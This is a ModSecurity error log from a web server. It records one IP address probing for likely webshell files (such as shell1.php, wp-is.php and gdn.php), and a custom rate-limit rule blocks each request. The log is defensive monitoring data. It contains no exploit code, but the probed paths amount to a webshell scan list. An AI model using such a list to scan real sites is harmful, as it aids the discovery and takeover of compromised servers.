[Sun Dec 14 23:54:40.671944 2025] [:error] [pid 40595:tid 40603] [client 4.194.187.204:8252] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aT7dwPjrht6y4RN-xKRVkgAAAYQ"]
[Sun Dec 14 23:54:41.878766 2025] [:error] [pid 39525:tid 39590] [client 4.194.187.204:36725] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aT7dwU1fX_pB_BrvE_570AAAAIc"]
[Sun Dec 14 23:54:42.385916 2025] [:error] [pid 39614:tid 39618] [client 4.194.187.204:8229] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aT7dwvxybG8-9MflbDesjwAAAMI"]
[Sun Dec 14 23:54:42.809017 2025] [:error] [pid 39524:tid 39556] [client 4.194.187.204:36685] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aT7dwmrVGpbDzFtDE9My2QAAAEA"]
[Sun Dec 14 23:54:45.493249 2025] [:error] [pid 40561:tid 40574] [client 4.194.187.204:33649] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gg.php"] [unique_id "aT7dxYY6r869zoqRQkQIywAAAUk"]
[Sun Dec 14 23:54:46.926130 2025] [:error] [pid 40561:tid 40582] [client 4.194.187.204:31844] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gg.php"] [unique_id "aT7dxoY6r869zoqRQkQI0AAAAVE"]
[Sun Dec 14 23:54:48.339980 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:33347] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gg.php"] [unique_id "aT7dyGrVGpbDzFtDE9My3QAAAEQ"]
[Sun Dec 14 23:54:49.401237 2025] [:error] [pid 40595:tid 40617] [client 4.194.187.204:34654] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gg.php"] [unique_id "aT7dyfjrht6y4RN-xKRVpwAAAZI"]
[Sun Dec 14 23:54:50.521609 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:34653] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aT7dytFLTBZjcwNd_VtuhwAAARE"]
[Sun Dec 14 23:54:52.302146 2025] [:error] [pid 39524:tid 39576] [client 4.194.187.204:34625] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aT7dzGrVGpbDzFtDE9My4QAAAFQ"]
[Sun Dec 14 23:54:54.698273 2025] [:error] [pid 40595:tid 40619] [client 4.194.187.204:8730] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aT7dzvjrht6y4RN-xKRVuwAAAZQ"]
[Sun Dec 14 23:54:55.341308 2025] [:error] [pid 39524:tid 39565] [client 4.194.187.204:33647] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-update.php"] [unique_id "aT7dz2rVGpbDzFtDE9My4wAAAEk"]
[Sun Dec 14 23:55:30.036234 2025] [:error] [pid 41600:tid 41604] [client 4.194.187.204:33379] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aT7d8tFLTBZjcwNd_VtuywAAAQE"]
[Sun Dec 14 23:55:32.117885 2025] [:error] [pid 39524:tid 39562] [client 4.194.187.204:33349] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aT7d9GrVGpbDzFtDE9MzFAAAAEY"]
[Sun Dec 14 23:55:34.593287 2025] [:error] [pid 40595:tid 40622] [client 4.194.187.204:9143] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aT7d9vjrht6y4RN-xKRVyQAAAZc"]
[Sun Dec 14 23:55:36.342159 2025] [:error] [pid 41600:tid 41613] [client 4.194.187.204:36552] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aT7d-NFLTBZjcwNd_Vtu1QAAAQo"]
[Sun Dec 14 23:55:39.280072 2025] [:error] [pid 41600:tid 41625] [client 4.194.187.204:9070] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aT7d-9FLTBZjcwNd_Vtu1gAAARY"]
[Sun Dec 14 23:55:41.090624 2025] [:error] [pid 39524:tid 39568] [client 4.194.187.204:36927] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aT7d_WrVGpbDzFtDE9MzHgAAAEw"]
[Sun Dec 14 23:55:42.372649 2025] [:error] [pid 40595:tid 40621] [client 4.194.187.204:35957] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aT7d_vjrht6y4RN-xKRVzwAAAZY"]
[Sun Dec 14 23:55:44.354979 2025] [:error] [pid 40561:tid 40577] [client 4.194.187.204:65127] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aT7eAIY6r869zoqRQkQI-QAAAUw"]
[Sun Dec 14 23:55:46.479751 2025] [:error] [pid 39614:tid 39617] [client 4.194.187.204:35909] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT7eAvxybG8-9MflbDes4AAAAME"]
[Sun Dec 14 23:55:49.452101 2025] [:error] [pid 39614:tid 39635] [client 4.194.187.204:53624] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT7eBfxybG8-9MflbDes4QAAANM"]
[Sun Dec 14 23:55:57.239255 2025] [:error] [pid 39525:tid 39598] [client 4.194.187.204:36298] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT7eDU1fX_pB_BrvE_58igAAAI8"]
[Sun Dec 14 23:55:58.159888 2025] [:error] [pid 39523:tid 39531] [client 4.194.187.204:36038] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT7eDjQTQH1raAj2lkgTwAAAAAM"]
[Sun Dec 14 23:56:00.850223 2025] [:error] [pid 39524:tid 39573] [client 4.194.187.204:9029] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/33.php"] [unique_id "aT7eEGrVGpbDzFtDE9MzLgAAAFE"]
[Sun Dec 14 23:56:01.861031 2025] [:error] [pid 41600:tid 41616] [client 4.194.187.204:16933] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/33.php"] [unique_id "aT7eEdFLTBZjcwNd_VtvIAAAAQ0"]
[Sun Dec 14 23:56:03.542146 2025] [:error] [pid 40596:tid 40647] [client 4.194.187.204:9003] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/33.php"] [unique_id "aT7eE2vZZo4N2X7WoLzG5AAAAdU"]
[Sun Dec 14 23:56:06.659037 2025] [:error] [pid 39614:tid 39626] [client 4.194.187.204:34483] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/33.php"] [unique_id "aT7eFvxybG8-9MflbDes7AAAAMo"]
[Sun Dec 14 23:56:18.275208 2025] [:error] [pid 39614:tid 39635] [client 4.194.187.204:9157] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/o.php"] [unique_id "aT7eIvxybG8-9MflbDes-QAAANM"]
[Sun Dec 14 23:56:18.959811 2025] [:error] [pid 40595:tid 40607] [client 4.194.187.204:24648] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/o.php"] [unique_id "aT7eIvjrht6y4RN-xKRV4gAAAYg"]
[Sun Dec 14 23:56:23.541567 2025] [:error] [pid 40595:tid 40621] [client 4.194.187.204:34129] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wcas.php"] [unique_id "aT7eJ_jrht6y4RN-xKRV5gAAAZY"]
[Sun Dec 14 23:56:24.644148 2025] [:error] [pid 39525:tid 39585] [client 4.194.187.204:35524] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wcas.php"] [unique_id "aT7eKE1fX_pB_BrvE_58jQAAAII"]
[Sun Dec 14 23:56:25.494206 2025] [:error] [pid 40596:tid 40641] [client 4.194.187.204:30312] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wcas.php"] [unique_id "aT7eKWvZZo4N2X7WoLzG7wAAAc8"]
[Sun Dec 14 23:56:58.621033 2025] [:error] [pid 40561:tid 40565] [client 4.194.187.204:31492] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-is.php"] [unique_id "aT7eSoY6r869zoqRQkQJKAAAAUA"]
[Sun Dec 14 23:57:00.065020 2025] [:error] [pid 41600:tid 41618] [client 4.194.187.204:8524] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-is.php"] [unique_id "aT7eTNFLTBZjcwNd_VtvhQAAAQ8"]
[Sun Dec 14 23:57:01.623481 2025] [:error] [pid 13799:tid 13824] [client 4.194.187.204:30450] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-is.php"] [unique_id "aT7eTXjPEin01ElFTNZ25QAAAhY"]
[Sun Dec 14 23:57:06.845280 2025] [:error] [pid 40595:tid 40616] [client 4.194.187.204:8564] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-is.php"] [unique_id "aT7eUvjrht6y4RN-xKRV-QAAAZE"]
[Sun Dec 14 23:57:07.380133 2025] [:error] [pid 39523:tid 39534] [client 4.194.187.204:36911] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ava.php"] [unique_id "aT7eUzQTQH1raAj2lkgT4AAAAAY"]
[Sun Dec 14 23:57:10.043980 2025] [:error] [pid 39614:tid 39633] [client 4.194.187.204:33863] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ava.php"] [unique_id "aT7eVvxybG8-9MflbDetEgAAANE"]
[Sun Dec 14 23:57:13.010250 2025] [:error] [pid 41600:tid 41621] [client 4.194.187.204:8772] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ava.php"] [unique_id "aT7eWdFLTBZjcwNd_VtvjwAAARI"]
[Sun Dec 14 23:57:19.213212 2025] [:error] [pid 39524:tid 39570] [client 4.194.187.204:36868] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ava.php"] [unique_id "aT7eX2rVGpbDzFtDE9MzZQAAAE4"]
[Sun Dec 14 23:57:22.704807 2025] [:error] [pid 13799:tid 13822] [client 4.194.187.204:36879] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m.php"] [unique_id "aT7eYnjPEin01ElFTNZ29gAAAhQ"]
[Sun Dec 14 23:57:24.083753 2025] [:error] [pid 40595:tid 40601] [client 4.194.187.204:60475] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m.php"] [unique_id "aT7eZPjrht6y4RN-xKRWCQAAAYI"]
[Sun Dec 14 23:57:25.716032 2025] [:error] [pid 41600:tid 41618] [client 4.194.187.204:33927] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m.php"] [unique_id "aT7eZdFLTBZjcwNd_VtvnAAAAQ8"]
[Sun Dec 14 23:57:26.670445 2025] [:error] [pid 41600:tid 41626] [client 4.194.187.204:30420] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m.php"] [unique_id "aT7eZtFLTBZjcwNd_VtvnQAAARc"]
[Sun Dec 14 23:57:29.332393 2025] [:error] [pid 40595:tid 40613] [client 4.194.187.204:30425] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell1.php"] [unique_id "aT7eafjrht6y4RN-xKRWDgAAAY4"]
[Sun Dec 14 23:57:34.775246 2025] [:error] [pid 41600:tid 41621] [client 4.194.187.204:60450] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell1.php"] [unique_id "aT7ebtFLTBZjcwNd_VtvpAAAARI"]
[Sun Dec 14 23:57:35.942169 2025] [:error] [pid 39523:tid 39543] [client 4.194.187.204:8562] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell1.php"] [unique_id "aT7ebzQTQH1raAj2lkgT5wAAAA8"]
[Sun Dec 14 23:57:37.087025 2025] [:error] [pid 40595:tid 40612] [client 4.194.187.204:8518] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell1.php"] [unique_id "aT7ecfjrht6y4RN-xKRWEQAAAY0"]
[Sun Dec 14 23:57:37.501075 2025] [:error] [pid 39523:tid 39548] [client 4.194.187.204:33647] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gdn.php"] [unique_id "aT7ecTQTQH1raAj2lkgT6QAAABQ"]
[Sun Dec 14 23:57:38.721276 2025] [:error] [pid 39614:tid 39635] [client 4.194.187.204:36910] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gdn.php"] [unique_id "aT7ecvxybG8-9MflbDetKgAAANM"]
[Sun Dec 14 23:57:39.915591 2025] [:error] [pid 41600:tid 41614] [client 4.194.187.204:8782] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gdn.php"] [unique_id "aT7ec9FLTBZjcwNd_VtvqAAAAQs"]
[Sun Dec 14 23:57:41.165411 2025] [:error] [pid 39524:tid 39568] [client 4.194.187.204:35015] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gdn.php"] [unique_id "aT7edWrVGpbDzFtDE9MzbgAAAEw"]
[Sun Dec 14 23:57:45.178019 2025] [:error] [pid 40596:tid 40650] [client 4.194.187.204:60433] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "aT7eeWvZZo4N2X7WoLzHHQAAAdg"]
[Sun Dec 14 23:57:45.932602 2025] [:error] [pid 40595:tid 40607] [client 4.194.187.204:60451] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "aT7eefjrht6y4RN-xKRWFQAAAYg"]
[Sun Dec 14 23:57:47.162490 2025] [:error] [pid 41600:tid 41605] [client 4.194.187.204:36326] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "aT7ee9FLTBZjcwNd_VtvrQAAAQI"]
